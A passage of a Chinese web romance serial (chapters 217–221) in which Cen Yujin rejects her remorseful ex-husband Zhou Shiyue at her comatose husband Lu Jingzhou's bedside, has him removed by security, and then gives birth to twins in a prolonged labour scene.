迟来的真相,迟到的忏悔,在她已经不需要的时候,以一种最不合时宜、最富侵略性的方式,强行闯入了她小心翼翼守护的平静。 震惊过后,是迅速蔓延开来的冰凉和讽刺。 他想起来了,然后呢? 她不再是那个满心满眼只有他的岑予衿了。 周时越的“想起”,对她而言,早已失去了任何意义。 它不能抹平过去的伤害,不能改变既成的事实,更不能动摇她此刻的选择和未来。 它带来的,只有困扰、难堪,和对陆京洲的极度不尊重。 岑予衿闭了闭眼,再睁开时,眼底那短暂的震动和恍惚已然褪去,取而代之的是一片深沉的疲惫和更冷的疏离。 她不再挣扎,只是用平静到近乎冷酷的声音,一字一句,清晰地响起在周时越失控的哽咽之上,“你想起来了,周时越。” “然后呢?” 岑予衿的声音不高,甚至带着一丝刚回过神来的微哑,却像一盆冰水,兜头浇灭了周时越所有混乱的哽咽和颤抖。 他抱着她的手臂猛地僵住,仿佛才意识到自己做了什么。 那句“然后呢?”轻飘飘的三个字,却重若千钧,砸得他头晕目眩。 然后呢? 是啊,然后呢? 他记起来了,他痛苦,他后悔,他发了疯一样想她、找她,然后呢? 他能改变什么? 他能让时光倒流,能抹去他带给她的所有伤害,能让病床上那个男人消失,能让她的目光重新为他停留吗? 不能。 这个认知比任何刀刃都锋利,瞬间割开了他所有不切实际的幻想和本能驱使下的冲动。 巨大的无力感和更深的绝望,如同冰冷的海水,灭顶而来。 他缓缓地、极其缓慢地松开了手臂。 怀抱骤然空荡,失去那点虚幻温暖的不仅是岑予衿,更是他自己。 岑予衿立刻向后退开,直到后背再次抵住墙壁,拉开一个安全的距离。 她甚至没有立刻整理被他弄皱的衣服,只是抬起手,用衣袖用力擦了擦被他眼泪浸湿的脖颈,动作里带着毫不掩饰的嫌弃。 她的眼神清冽如寒潭,里面映着他此刻狼狈不堪、泪痕交错的模样。 “周时越。”她再次开口,声音已经完全平稳下来,甚至比刚才更加冰冷,“你的记忆恢复了,我很……欣慰。至少,你终于知道你过去是个多么混蛋的人了。” 她顿了顿,目光扫过他骤然惨白的脸,语气没有半分波澜。 “但那是你的事。你的愧疚,你的痛苦,你的记忆恢复,都跟我没有关系了。我们之间,早就结束了。结束在你选择相信林舒薇、结束在你一次次用最狠的方式将我推进深渊我的时候。” 岑予衿的眼眶也有些红,“在你亲口说出‘我的太太只有一个那就是林舒薇’,说出‘煞星命,克我一次就算了,别祸害我太太。’时就没有关系了。” “是你,亲手把我推给了别的男人!” “现在的我,是陆京洲的妻子,是他孩子的母亲。”她将手轻轻覆在隆起的腹部,这个充满保护意味的动作,像一道无形的壁垒,将周时越彻底隔绝在她的世界之外。 “我的现在和未来,都只和他有关。你所谓的‘回来’,在我这里,没有任何位置,也不被需要。” 她侧过身,目光投向病床上安静沉睡的陆京洲,那眼神瞬间柔和了千万倍,带着无尽的牵挂和温柔。 再转回来看向周时越时,又只剩下冰冷的决绝。 “看在你……总算清醒了的份上,刚才的事,我可以不叫保镖,也不报警。” 她的语气带着一种居高临下的、近乎施舍的平静,“但请你立刻离开。不要再来打扰我的生活,更不要出现在京洲面前。这是对你,对我,也是对过去那份……早已面目全非的情分,最后一点尊重和体面。” “走吧。”她最后说道,语气平淡得像在驱赶一个无关紧要的陌生人,“别让我再说第二次。也别让你自己,变得连最后那点回忆,都彻底无法直视。” 第218章 我会把他们当成亲生孩子 岑予衿的话音落下,病房里陷入死寂,只有心电监护仪规律的滴答声,敲在人心上,格外沉重。 周时越没有动,他僵在原地,刚才被那句“早就结束了”击溃的防线,此刻被更深的执拗支撑着。 他看着她转身走向病床的背影,看着她指尖轻轻拂过陆京洲额头时的温柔。 那画面像一把烧红的烙铁,狠狠烫在他的眼底,烫得他视线模糊。 “不……”他摇着头,声音破碎得不成样子,带着孤注一掷的疯狂,“衿衿,不能结束……我不允许它结束。” “我……我就是出了一趟国,明明我们婚纱照都拍了,证也领了,就差婚礼……就差一个婚礼了。” “你是我老婆,是我法律意义上的妻子,你和他没有关系……一点关系都没有。” “衿衿……“ 岑予衿脚步一顿,回过头时,眉峰已蹙起明显的不耐。 可还没等她开口,就见眼前的男人突然动了。 他高大的身躯,在她面前缓缓弯下,膝盖重重砸在冰冷的地板上,发出沉闷的声响。 “咚”的一声,震得岑予衿心头莫名一紧,随即涌上更强烈的反感。 周时越就那样跪着,背脊却挺得笔直,像是在承受某种酷刑,又像是在做最后的抗争。 他抬起头,脸上泪痕未干,眼眶红得吓人,里面翻涌着悔恨、痛苦、绝望,还有一丝卑微到尘埃里的祈求。 “衿衿,求你……”他的声音带着膝盖撞击地面后的震颤,每一个字都像是从喉咙里挤出来的,“再给我一次机会,好不好?我们重新开始,就当……就当过去的一切都没有发生过,好不好?” “我知道我混蛋,我知道我错得离谱,我知道我把你伤得那么深……”他语无伦次地说着,双手撑在地上,身体微微前倾,像是想靠近她,又怕惊扰了她。 “我说了,我们之间早就不可能了!你忘了吗?岑予衿已经死了!你丧偶,而现在你法律意义上的妻子是林舒薇,如果没记错的话,她的预产期估计也就这几天吧?” 岑予衿坐回了陆京洲的床边,用两只手将他的手紧紧的握在手心,不再看他,“你有时间在这儿胡闹,还不如多陪陪她,错过了就是错过了,我们……不可能有机会了。” “不要提她……我和她之间的事情我会解决清楚……衿衿……我失忆了,什么都不记得了……真的……真的……” 岑予衿打断了他的话,“你知道的,我这个人从来不走回头路,你从来不要不干净的男人。” 周时越像是被伤到了,张了张口,看着他们握在一起的手,心疼的在滴血,依旧保持着跪在地上的姿态。 “我是不干净了,陆京洲就干净吗?他比我更不干净,他就是个花花公子,他的绯闻对象,招惹的那些人加起来能有多少你知道吗?” 周时越指着病床上的人,情绪明显有些激动。 “那些只是绯闻,他从来都是干干净净的,我自己的男人我自己清楚,你没必要在这儿诋毁他。” 岑予衿已经不想在这儿和他说一句话了。 周时越看着以前护着自己的女孩,现在毫不避讳的护着另外一个人,自己也说不出来是什么感觉…… 快窒息了。 周时越的胸口剧烈起伏着,像是被人扼住了喉咙,连呼吸都带着灼痛。他看着岑予衿握着陆京洲的手,指尖相贴的弧度,刺眼得让他几乎要落下泪来。 “护着他……你现在满心满眼都是他……”他喃喃自语,声音里带着哭腔,还有一丝自己都没察觉的嫉妒,“衿衿,你忘了吗?你说过……说过这辈子只会对我一个人好……” 他往前挪了挪膝盖,冰冷的地板硌得他膝盖生疼,可这点疼,哪里比得上心里的万分之一。 他伸出手,想要去碰她的衣角,却又在半空中停住,怕她像之前那样,嫌恶地躲开。 “我知道我和林舒薇的事,脏了你的眼……” 他的声音越来越低,带着浓重的绝望,“可我和她之间,从来都没有过真心。是我失忆了,是她趁虚而入,衿衿,你信我……我只爱你一个人,从来都只有你……” 岑予衿终于舍得回过头,看向他的眼神,却比寒冬的冰还要冷。 “周时越,”她一字一顿,清晰无比,“爱不是嘴上说说的。你失忆的时候,选择了相信林舒薇,选择了和她在一起,选择了让她怀了你的孩子。这些,都是你亲手做的选择,和失忆没有关系。” “你早就不是我记忆里的那个周时越了。” 她顿了顿,目光落在他苍白的脸上,带着一种近乎残忍的平静,“你说陆京洲不干净,可他从未用言语伤过我,从未把我推到深渊里。在我最狼狈、最绝望的时候,是他把我拉起来,是他告诉我,我值得被爱。” “他的绯闻再多,也从未让任何一个人,打着他的旗号来伤害我。” 周时越的脸彻底失去了血色,嘴唇哆嗦着,却说不出一个字来反驳。 是啊,他反驳不了。 他不仅在失忆时伤了她,在过去清醒的时候,也从未真正护过她。 那些林舒薇的刁难,那些旁人的非议,他都视而不见,甚至还觉得是她矫情,是她不懂事。 “我和他之间,是干干净净的。”岑予衿轻轻摩挲着陆京洲的手背,语气里是藏不住的温柔,“他爱我,我也爱他。这份爱,无关过去,只关乎现在和未来。” 她抬眼,看向瘫在地上的周时越,眼底没有一丝波澜,“你和林舒薇的孩子,快要出生了。你该做的,是负起你该负的责任,而不是在这里,纠缠一个早就和你没关系的人。” 周时越猛地摇头,像是疯了一样,“我不要那个孩子!我只要你!衿衿,我可以和林舒薇断绝所有关系,我可以……” “够了。”岑予衿冷声打断他,“周时越,你太自私了。我认识的那个周时越不会那么做。” 岑予衿自嘲的笑了,“这无关你有没有记忆,不论是对我还是对他们,我们认识的那个周时越是有担当,有爱心,善良的……” “他不会因为一个人去伤害另一个人,哪怕我只是他的前妻,如果是他,他也不可能做的那么绝,把我往死路上逼……” “那三年当是我给那段年少时的感情画上一个句号,现在你有你的家庭,我有我的家庭,咱们都往前看吧。” 周时越摇头,“我不要!为什么要让我往前看,我的人生规划里从来就没有没有你的选项,现在为什么要让我往前看?” 他怎么能接受没有她的生活呢? 他们前20多年都是一起度过的。 临门一脚……只差一个婚礼了。 周时越手忙脚乱的从自己的口袋里拿出了一个盒子,声音都在颤抖,“衿衿,求婚的戒指我找回来了……我一直都收着呢,我们重新开始好不好?” “身份的事情……我,我……我让人改回来,林舒薇和那个孩子,我会给他们补偿,我送他们出国,我……我一辈子都不会让他们出现在你眼前好不好?” 岑予衿是真的觉得他疯了,已经不可理喻到说不通了。 “还有婚房……我,我可以把它复原,我们当什么都没有发生过,好不好?” 怎么能当什么都没有发生过呢? “你觉得可以当什么都没有发生过,是因为受伤害的那个人不是你,是我……就像一面镜子,碎了就是碎了,哪怕是重新粘起来,它也有裂缝,你懂吗?” “衿衿……我会补偿你的,我把我名下所有的资产都转移到你名下好不好?我们找个谁都不认识我们的地方好不好?” 周时越跪着一步步靠近她,小心翼翼的伸出手,颤抖着想要把戒指戴在她手上。 “我怀孕了,周时越我们之间隔着什么你不清楚吗?” 有各自的家庭。 有各自的孩子。 哪怕没有也回不到以前了。 “我已经问过医生陆京洲的情况了,医生说他很有可能这辈子都醒不过来了,处于植物人状态,衿衿……你守着他跟守活寡有什么区别?” “孩子算什么?”周时越像是抓住了最后一根救命稻草,眼底迸发出近乎偏执的光,他往前又挪了半步,膝盖在地板上蹭出刺耳的声响。 “衿衿,你怀了他的孩子又怎样?我不在乎!我会养,我会把他当成我亲生的孩子来疼,给他最好的生活,最好的教育,我会把你和他都捧在手心里,再也不让你们受半点委屈!” 他攥着戒指盒的手因为用力而青筋暴起,声音里满是孤注一掷的恳切,“就算他醒不过来又如何?我替他照顾你,替他给你一个家,衿衿,你就当可怜可怜我,再给我一次机会……” “啪——” 清脆的巴掌声骤然响起,在死寂的病房里炸开,震得心电监护仪的声音都短暂地失了焦。 岑予衿的手还僵在半空中,掌心火辣辣地疼,眼底却翻涌着滔天的怒意。 周时越的脸被打得偏向一边,脸上迅速浮现出清晰的指痕。 他维持着那个姿势,仿佛被打懵了,连呼吸都停滞了几秒。 钻戒的盒子从他脱力的手中滑落,“啪嗒”一声掉在地上,钻石在冰冷的光线下闪烁着刺眼的光芒。 岑予衿收回手,掌心火辣辣地疼,但这疼痛却让她异常清醒。 她胸膛起伏,眼中燃烧着前所未有的怒火。 第219章 宝宝发动了 “周时越,”她的声音因为极力压制怒意而微微发抖,却字字如刀,冰冷地剜向他,“你听听你自己在说什么混账话!” 她的目光锐利如箭,射向他怔忡的脸,“‘我们的孩子’?谁和你的‘我们’?我的孩子,姓陆,是我和京洲血脉相连的结晶,是我对未来的全部期盼! 你算什么东西,也配说‘当成亲生’?我的孩子,不需要你这种不负责任、连自己亲生骨肉都想抛弃的男人来‘照顾’!你根本不配!” “还有……”她向前一步,居高临下地俯视着跪在地上的男人,那份因怀孕而愈显柔和的气质此刻被凛冽的锋芒取代。 “谁告诉你京洲醒不过来了?谁允许你用这种恶毒的揣测来诅咒他?他是我的丈夫,是我孩子的父亲,是我选择共度一生的人!就算他需要睡很久,我也会守着他,等着他,因为我相信他,就像他从未放弃过我一样!” “而你,”岑予衿的指尖几乎要戳到他的鼻尖,声音里的鄙夷和痛心毫不掩饰,“你现在这副样子,真让我恶心。为了你那点可悲的占有欲,你连最基本的人伦和底线都不要了。 抛弃即将临盆的伴侣和未出世的孩子,觊觎别人的妻子和骨肉,诅咒一个躺在病床上的人……周时越,你醒醒吧! 你看看你现在,哪里还有半点我曾经认识的、那个骄傲明亮的样子?你变得如此……不堪,真让我感到恶心。” 她弯腰,捡起那个滚落到脚边的戒指盒,没有打开,只是用指尖捏着,仿佛那是什么肮脏的东西。 她走到窗边,毫不犹豫地拉开窗户,在周时越骤然睁大的、惊恐的视线中,扬手将那枚承载着错误过往和此刻疯狂执念的钻戒,连同盒子一起,抛了出去。 小小的抛物线消失在楼下绿化带深处,无声无息。 “不要……” 周时越的视线追随着那枚戒指,落向窗外。 第二次…… 这是他第二次丢掉这枚戒指了。 他就像那枚被丢出去的戒指,她不要戒指也不要他了。 她还为了别的男人打他! “就像这枚戒指。”岑予衿关上窗,转身,脸上只剩下彻底的冰冷和决绝,“它早就该被扔掉了。连同它代表的过去,连同你现在这令我作呕的所谓爱’” 她不再看他,径直走到门口,拉开了病房门。 走廊上,闻讯赶来的护士和保安早已等候。 “请这位先生离开。”岑予衿的声音恢复了平静,却带着不容置疑的权威,“如果他再试图靠近这间病房,或者骚扰我和我的家人,直接报警。” 保安立刻上前,一左一右架住了依旧跪在地上的周时越,将他拉开。 其实在来之前他就已经想过了,她不会那么轻易原谅他。 可是真看到她一点情面都不留,还是会很难过。 “衿衿,我会解决清楚一切障碍,我会处理好一切的!” “闭嘴,你给我滚出去!” 周时越被保安架着胳膊强行拖拽,膝盖在地板上划出两道粗糙的痕迹。 布料磨破,皮肤被冰冷坚硬的地面蹭得生疼,可这点疼远不及心口的万分之一。 他挣扎着,脖颈被扯得通红,目光死死黏在岑予衿的背影上,像是要将那道决绝的轮廓刻进骨子里。 “衿衿!我说到做到!”他嘶吼着,声音嘶哑得几乎断裂,“林舒薇那边我会尽快了断!我会离婚!你再等等我,就等我这一次!” 岑予衿背对着他,身形未动分毫,只是握着门框的手指收紧,指节泛白。 她连回头再看他一眼的欲望都没有,那一声声歇斯底里的承诺,在她听来,不过是更可笑的亵渎。 “衿衿!我知道错了!我真的知道错了!”周时越被拖到病房门口,双脚几乎离地,却仍不甘心地伸长了手臂,像是想抓住什么虚无的幻影。 “那个孩子……我会安排好,我不会让他打扰到你!我只要你,只要你和你的孩子!我会把他当成亲生的,我会比陆京洲更疼他们,更疼你!” “够了!”岑予衿猛地侧过脸,眼底的寒意几乎要将他冻结,“周时越,你到现在还不明白吗?” 她的声音掷地有声,带着彻骨的失望,“我的孩子,有他的父亲,叫陆京洲。我的人生,也早已和你无关。你所谓的‘解决障碍’,不过是你自私的借口!” “你和林舒薇世间的事情,和我一点关系都没有,你们俩很般配……一辈子别离婚才是最好的选择,别再来纠缠我了。” 保安不再给他挣扎的机会,强行将他拖出走廊。 周时越的嘶吼声、哀求声、还有那一声声绝望的“衿衿”,顺着门缝飘进来,渐渐远去,最终被走廊尽头的电梯声吞没。 岑予衿缓缓关上门,后背抵住冰冷的门板,紧绷的身体终于垮了下来。 她抬手捂住脸,指尖传来温热的湿意,不是软弱,而是被这场无休止的纠缠耗尽了所有耐心后的疲惫。 病房里重新恢复了寂静,只有心电监护仪依旧规律地滴答作响,像是在安抚她躁动的心绪。 她深吸一口气,擦干眼角的湿痕,转身看向病床上的陆京洲。 以前她特别想让他恢复记忆,现在她只想让他一辈子都不要回复记忆。 不要来打扰她的生活。 可是上天又给她开了一个很大的玩笑,偏偏让他恢复了记忆。 陆京洲依旧安静地躺着,脸色苍白,却依旧俊朗。 岑予衿走到床边,重新握住他的手,指尖轻轻摩挲着他微凉的掌心,声音放得极柔,带着只有他能听懂的依赖,“阿洲,他走了。别怕,有我在。” 在她没看到的另一侧,躺在床上的人,眼角骤然划过一滴眼泪。 …… 岑予衿是在后半夜被一阵紧似一阵的腹痛惊醒的。 起初她还以为是情绪波动导致的假性宫缩,可那疼痛越来越规律,越来越密集,像有一只无形的手在腹腔内攥紧、拉扯。 她咬着牙,额头渗出细密的冷汗,手不由自主地抚上高耸的腹部,那里一阵阵地发硬。 “呃……”一声压抑的痛呼溢出唇边。 她挣扎着想去按呼叫铃,视线却下意识投向隔壁病床上的陆京洲。 黑暗中,他安静沉睡的轮廓是她唯一的定心石。 就在这时,一股温热的液体不受控制地涌出,浸湿了身下的床单。 羊水破了。 岑予衿心头一紧,彻底清醒过来。 宝宝等不及了,真的要来了! 在这个最兵荒马乱的时刻。 她不再犹豫,用尽全力按响了床头呼叫铃,同时另一只手紧紧攥住了陆京洲垂在床边的手指,仿佛能从那只微凉的手里汲取力量。 “阿洲……宫缩了……”她喘息着,声音带着痛楚和一丝不易察觉的慌乱,“我好怕……” 走廊里迅速响起急促的脚步声。 值班医生和护士推门而入,看到岑予衿的情况,立刻有条不紊地行动起来。 “产妇羊水已破,宫缩规律,立刻送产房!”医生迅速检查后下令。 移动病床被推来,护士小心地搀扶岑予衿挪上去。 腹痛如潮水般涌来,她疼得蜷缩起身子,手指却死死不肯松开陆京洲的手。 “陆太太,您放心,产房就在同一层,很近。”护士轻声安抚,试图让她松手。 岑予衿将陆京洲的手越捏越紧,指节都因用力而泛白。 腹部的绞痛一阵强过一阵,但更让她心慌的是周时越有可能会来阴的。 她现在最脆弱的时候,绝不能让那个人再有可乘之机,骚扰她,甚至……伤害京洲。 她强忍着痛楚,在护士试图再次让她松手时,猛地抬起汗湿的脸,目光急切地扫过病房里的医护人员,“麻烦……帮我联系陆家老太太……请她立刻过来!还有……不要让任何人,尤其是中午被赶走的那个男人,靠近这间病房和我丈夫!” 她的声音因为疼痛而断续,但其中的决绝和警惕清晰无比。 医生立刻会意,对旁边的一个年轻护士吩咐,“快,按照陆太太说的,打电话给陆老太太,说明情况请她尽快过来。通知安保,加强这一层的巡查,没有许可,严禁刚才那位周先生进入。” 年轻护士点头,快步跑了出去。 岑予衿稍稍松了口气,但握着陆京洲的手依旧没有放开。 移动病床开始向门口移动,她的手被一点点拉开距离。 就在指尖即将分离的刹那,她忽然感觉到,掌心下那只一直微凉无力的大手,极其轻微地……回握了她一下。 那力道微弱得几乎像是错觉,却像一道细微的电流,瞬间击穿了岑予衿所有的疼痛和恐惧。 她猛地睁大眼睛,看向陆京洲的脸。 他还是那样安静地躺着,眼帘紧闭,脸色苍白。 可是…… “阿洲?”她失声轻唤,声音带着不敢置信的颤抖。 没有回应。 只有监护仪上,心率似乎又快了少许。 是错觉吗? 是她在极度疼痛和期盼下产生的幻觉吗? “陆太太,我们得赶紧去产房了!”医生催促道。 岑予衿被疼痛拉回现实,她最后深深看了一眼陆京洲,眼中翻涌着复杂难言的情绪。 有痛楚,有恐惧,有那一丝微茫却不肯熄灭的希望。 她终于松开了手,任由护士将她的手放回身侧。 “阿洲……”在被推出病房的前一刻,她用尽力气,对着那个沉睡的身影低语,“等我……带宝宝回来。” 产房的门关闭,隔绝了两个世界。 病房里,重归寂静。 只有仪器规律的滴答声,证明着生命的存在。 而病床上,陆京洲的指尖,在无人看见的被子下,几不可察地,又轻轻蜷缩了一下。 第220章 一点力气都没了 岑予衿被推进产房时,宫缩已经密集得几乎没了间隙。 消毒水的味道混着空气中弥漫的紧张气息,钻进鼻腔,让她忍不住一阵干呕。 每一次剧烈的疼痛都像有无数把钝刀,在她的腹腔里反复搅动、切割,仿佛要将她的骨骼与血肉彻底撕开。 冷汗顺着额角、鬓发往下淌,浸透了宽大的病号服,后背的布料沉甸甸地贴在皮肤上,又被体温烘得半干,黏腻得让人窒息。 头发湿漉漉地贴在苍白如纸的脸颊上,几缕被泪水粘住,勾勒出她紧抿的唇线,下唇早已被牙齿咬出深深的血印,渗着细密的血丝。 她攥紧了产床两侧的金属扶手,指关节绷得发白,几乎要与冰冷的金属融为一体,虎口处的肌肉因为过度用力而突突地跳着。 身体不受控制地颤抖,从脚尖到肩膀,每一寸肌肉都在痉挛,像是被无形的绳索反复拉扯。 “陆太太,您听我说。”助产士张姐的声音在嘈杂的产房里显得格外清晰冷静。 她俯下身,将无菌毛巾递到岑予衿汗湿的手里,指尖带着恰到好处的温度。 “原本计划是剖腹产,但您宫口开得太快了,十分钟前检查还是三指,现在已经全开,羊水也破了,胎儿下降速度非常快。现在紧急转剖风险很高,麻醉、手术室准备都需要时间,孩子等不及,我们必须尝试顺产,您要配合我们,听我的指挥呼吸和用力,好吗?” 旁边的主治医生陈主任也迅速凑过来,他戴着无菌口罩,只露出一双沉稳的眼睛,手里拿着产程监测仪,屏幕上跳动的曲线尖锐而密集。 “陆太太,我是陈医生,现在情况紧急,但您别慌。胎儿心率很稳定,这是好现象。您现在的任务就是跟着张姐的指令,把力气用在刀刃上,我们所有人都在帮您,一定能让宝宝平安出来。” 岑予衿在剧痛的间隙费力地点头,喉咙里发出破碎的呜咽声。 她脑子里乱哄哄的,像被狂风席卷的废墟,除了对分娩本能的恐惧,更怕腹中小宝宝会有危险。 可此刻,这些纷乱的念头都抵不过身体被撕裂般的剧痛,唯有陆京洲昏迷前紧紧握住她的温度,那指尖微弱却固执的回应,成了此刻支撑她最重要的浮木。 “好……我……我试试……”她断断续续地答应,声音因为用力而嘶哑,像是被砂纸磨过。 然而,过程远比想象中艰难百倍。 宫缩的浪潮一波未平一波又起。 张姐的声音始终沉稳如钟,在她耳边精准地指挥,“吸气,深吸气,慢慢吸到肚子里……屏住,用力!往下使劲……很好,再坚持五秒!呼气,缓缓呼气……” 每一次“用力”的指令,都像是要用她的整个生命去回应。 岑予衿咬紧牙关,脖子上青筋毕露,突突地跳动着,额头上的血管也因为过度用力而清晰可见。 全身的肌肉都绷紧到极限,每一次收缩都带来钻心的疼。 她能清晰地感觉到宝宝在努力下坠,却又被某种无形的阻力牵绊,那拉扯感让她痛得几乎要晕厥过去。 可是,太疼了。 那是一种无法言喻的剧痛。 从下腹深处炸裂开来,像岩浆喷发,瞬间席卷四肢百骸,连指尖的神经都在突突地疼。 骨头像是被寸寸碾碎,又被强行拼接,肌肉被反复撕裂、拉扯,五脏六腑都错了位。 汗水像瀑布一样流淌,凡是皮肤与布料接触的地方,都黏腻得难受。 冰冷的产床单被汗水浸透后,又贴着皮肤带来一阵阵寒意,冷热交织,让她更加煎熬。 她张着嘴,却发不出像样的声音,只剩下破碎的喘息和压抑到极致的闷哼,每一次呼吸都带着灼热的痛感。 “陆太太,保持呼吸节奏,别乱!”陈医生的声音带着一丝急促,他盯着监测仪,“胎儿位置有点偏,您用力的时候稍微往左侧偏一点,调整一下重心!” 张姐立刻补充,“对,左边,身体稍微侧一点,吸气……用力!再用力!” 岑予衿想照做,可身体早已不受使唤,每一次挪动都像是在刀尖上行走,疼痛呈几何倍数增长。 她感觉自己像一条被扔在岸上濒死的鱼,拼尽全力蹦跳,却只能离水源越来越远,每一次用尽全力,都只是更深的无力。 四肢沉重得像灌了铅,连抬起手指的力气都没有,呼吸都成了奢侈的负担,胸口剧烈起伏着,像是要炸开一样。 不想生了。 真的不想生了,实在是太疼了。 这辈子都没这么疼过。 哪怕是小时候从楼梯上摔下来,腿骨骨折,也远不及此刻万分之一的痛。 她想放弃,想让这一切都结束,哪怕是昏睡过去也好,至少能逃离这无边无际的炼狱。 “陆太太!别松劲!已经看到头发了!黑色的,很浓密!再加把劲!” 张姐的声音突然拔高,带着难以掩饰的焦急和鼓励,穿透了她混沌的感知。 她的手紧紧握住岑予衿的手腕,掌心的力量沉稳而坚定,“再坚持一下,宝宝已经到阴道口了,就差最后一步!您想想宝宝,想想陆先生!” 宝宝……她的宝宝…… 岑予衿涣散的目光费力地聚焦,望向虚空。 不……不能放弃…… 京洲在等她。 宝宝在努力。 她不能让他们失望,不能让陆京洲醒来后,看不到健康的宝宝,看不到平安的她。 一股不知道从哪里榨取出来的力气,像是深埋在骨髓里的火种,在绝望的灰烬中突然燎原。 伴随着撕心裂肺的一声嘶吼,从她喉咙深处迸发! “啊——陆京洲!” 这声呼喊耗尽了她胸腔里所有的空气,也榨干了骨髓里最后一丝能量,声音嘶哑、凄厉,却带着破釜沉舟的决绝。 紧接着,是身体被彻底劈开的、难以形容的剧痛,像是有一把滚烫的剪刀,从下腹一直划到心口,每一寸肌肤、每一根神经都在尖叫。 那声嘶吼耗尽了岑予衿最后一丝气力。 她像被抽走所有筋骨的木偶,瘫软在产床上,四肢无力地垂落,只剩下胸腔剧烈起伏,大口大口地喘着气,连睁眼的力气都荡然无存。 眼皮重得像黏在了一起,眼前一片漆黑,只有耳边的声音还清晰可闻。 “出来了!第一个宝宝出来了!”张姐的声音带着压抑不住的欣喜。 她的动作麻利而精准,双手稳稳地接住了那个温热的小生命。 岑予衿能感觉到腹中空了一块,紧接着,一个小小的、柔软的身体被迅速从她腿间接走,那温热的触感还残留在皮肤上,带着生命最初的温度。 下一秒,一声微弱却清亮的啼哭响起,像一缕穿透乌云的光,刺破了产房里紧绷的空气。 那哭声细细小小的,却充满了生命力,一下一下,敲在岑予衿的心上,让她瞬间红了眼眶。 滚烫的泪水顺着眼角滑落,混合着脸上未干的汗水,冰凉地划过脸颊。 “是个男孩!”张姐一边快速清理宝宝口鼻中的羊水,一边高声报喜,语气里满是欣慰,“哭声很响亮,生命力很顽强!体重看着不错,已经足月!” 旁边的护士立刻接过宝宝,放在旁边的操作台上,熟练地进行称重、测量身长。 “陈主任,男宝,体重3100克,身长50厘米,各项指标暂时正常!” 陈医生点点头,目光却依旧锁定在岑予衿身上,他快速检查了一下她的宫口情况,脸色微微一沉,立刻对张姐说。 “宫口还没闭合,还有一个胎儿,胎位正,现在宫缩还在持续,不能等,让陆太太趁现在继续用力,尽快把第二个宝宝生下来!” 他的声音带着不容置疑的坚定,说完,便俯下身,双手轻轻按在岑予衿的下腹,掌心的力量沉稳而有分寸,轻轻向下辅助施压。 “陆太太,听到了吗?你生了一个健康的儿子,非常棒!但还有一个宝宝在等你,现在宫缩还很有力,宫口也没关,这是最好的时机,再坚持一下,我们一起把第二个宝宝也接出来,好吗?” 岑予衿还没来得及感受片刻松弛,还没来得及细细品味初为人母的喜悦,更猛烈的宫缩便卷土重来。 这一次的疼痛比刚才还要剧烈,像是在原本已经撕裂的伤口上,又被狠狠划了一刀,带着报复性的凶狠,瞬间席卷了她的全身。 刚经历过撕裂的身体还在不受控制地颤抖。 每一次收缩都像是在反复碾轧伤口,疼得她浑身痉挛,牙齿死死咬住下唇,原本就破损的唇瓣再次渗出血丝,血腥味在口腔里弥漫开来,又苦又涩。 她想喊,想求饶,想告诉医生她真的没有力气了,可喉咙却干涩得发不出任何声音,只能徒劳地挥舞着手臂。 指尖在空中胡乱抓挠,最终死死抓住了张姐递过来的无菌毛巾,指节因为过度用力而泛白,几乎要嵌进布料里,指腹的皮肤被磨得生疼。 “陆太太,别慌!深呼吸!”张姐立刻握住她的另一只手,声音温柔却有力量,“第一个宝宝已经平安了,你已经做到了最棒的!” 陈医生一边监测着她的宫缩频率,一边精准地指导,“吸气,用鼻子深吸,吸满三秒……屏住,用力!往下沉,把力气都用在腹部,别用在脖子上!很好,再坚持!” 岑予衿的意识再次被疼痛淹没,眼前发黑,耳边的声音像是从很远的地方传来。 她能感觉到第二个宝宝在努力下坠,可身体已经到了极限。 每一次用力都像是在透支生命,腹部的肌肉酸痛得几乎无法收缩,双腿抖得厉害,连保持姿势都变得困难。 她比谁都想让第二个宝宝平安降生,可是她真的没力气,真的一点力气都没有了…… 很累很累。 累到闭上眼睛就能睡着掉,可是他又不敢…… 她不想对不起两个宝宝中的任意一个。 第221章 你老婆孩子都快保不住了 产房门外,冰冷的长廊寂静得落针可闻。 唯有陆老太太一个人,在惨白的灯光下反复踱步。 她的脚步有些凌乱,那双平日里保养得宜,如今却微微颤抖的手,紧紧攥着一串磨得温润的佛珠。 珠子无声地滑过指节,频率快而紊乱,泄露了她心底汹涌的焦虑。 她走几步,停一下,侧耳倾听门内隐约传来的模糊声响。 每一次细微的变化都让她的心脏跟着狠狠一揪。 她又立刻转身,朝着另一个方向走去,仿佛这样能稍稍缓解那几乎要破胸而出的焦灼。 这都什么个事儿啊? 两个跟小苦瓜似的娃! 真遭罪了! 走廊的墙壁光洁冰冷,映出她略显佝偻却依旧不失风骨的身影。 她穿着一身素雅的深紫色丝绒旗袍,外罩同色羊绒披肩,银白的发髻一丝不乱。 可那张素来慈祥端庄的脸上,此刻却布满了挥之不去的忧色。 眉头紧锁着,眼角的皱纹因为频繁的抬眼张望而显得更深了。 “菩萨保佑,佛祖保佑,列祖列宗保佑……” 她嘴唇微动,声音压得极低,几乎成了唇语,只有贴近了才能听到那不断重复的,带着颤音的祈祷。 “一定要让衿衿平平安安,一定要让两个孩子都顺顺利利……” 想起陆京洲昏迷前死死握住孙媳的手不放的模样,心头就像压了块巨石,沉甸甸地喘不过气。 她经历过生孩子的痛,知道那是真在鬼门关前走一遭的。 这其中的艰难和风险,她比谁都清楚。 “老天爷啊,我们陆家没做过什么亏心的事……” 她的步伐越发急促,佛珠在掌心被捏得咯咯轻响,指尖冰凉。 “京洲已经那样了,可不能再让衿衿和孩子有事……他们小两口,不容易啊……” 她时不时抬头望向那扇紧闭的象征着生死之隔的厚重房门,眼神里充满了殷切的期盼和无法掩饰的恐惧。 门上方“手术中”的红灯刺目地亮着,每一次闪烁都仿佛敲打在她的神经上。 时间从未如此漫长。 每一分,每一秒,都被寂静和未知拉扯得变形。 她能听到自己心跳如擂鼓,在空旷的走廊里异常清晰。 她停下脚步,扶着冰凉的墙壁,深深吸了一口气,试图平复翻江倒海的心绪。 走廊尽头窗户透进来的天光,已经渐渐染上了暮色。 她在这里站了多久,走了多久,已经不记得了。 只觉得双腿有些发软,心却始终悬在万丈高空。 “陆家的列祖列宗们,您们要是在天有灵,一定要护着孩子们……护着衿衿……” 就在这时,产房的门忽然被从里面拉开了一道缝隙。 一位护士探出头来,脸上带着口罩,看不清表情,但眼神是专注而快速的。 陆老太太几乎是瞬间就扑了过去,动作快得不像个已年过七旬的老人。 “护士!里面怎么样了?我孙媳妇怎么样了?”她的声音带着抑制不住的颤抖,急切地问道。 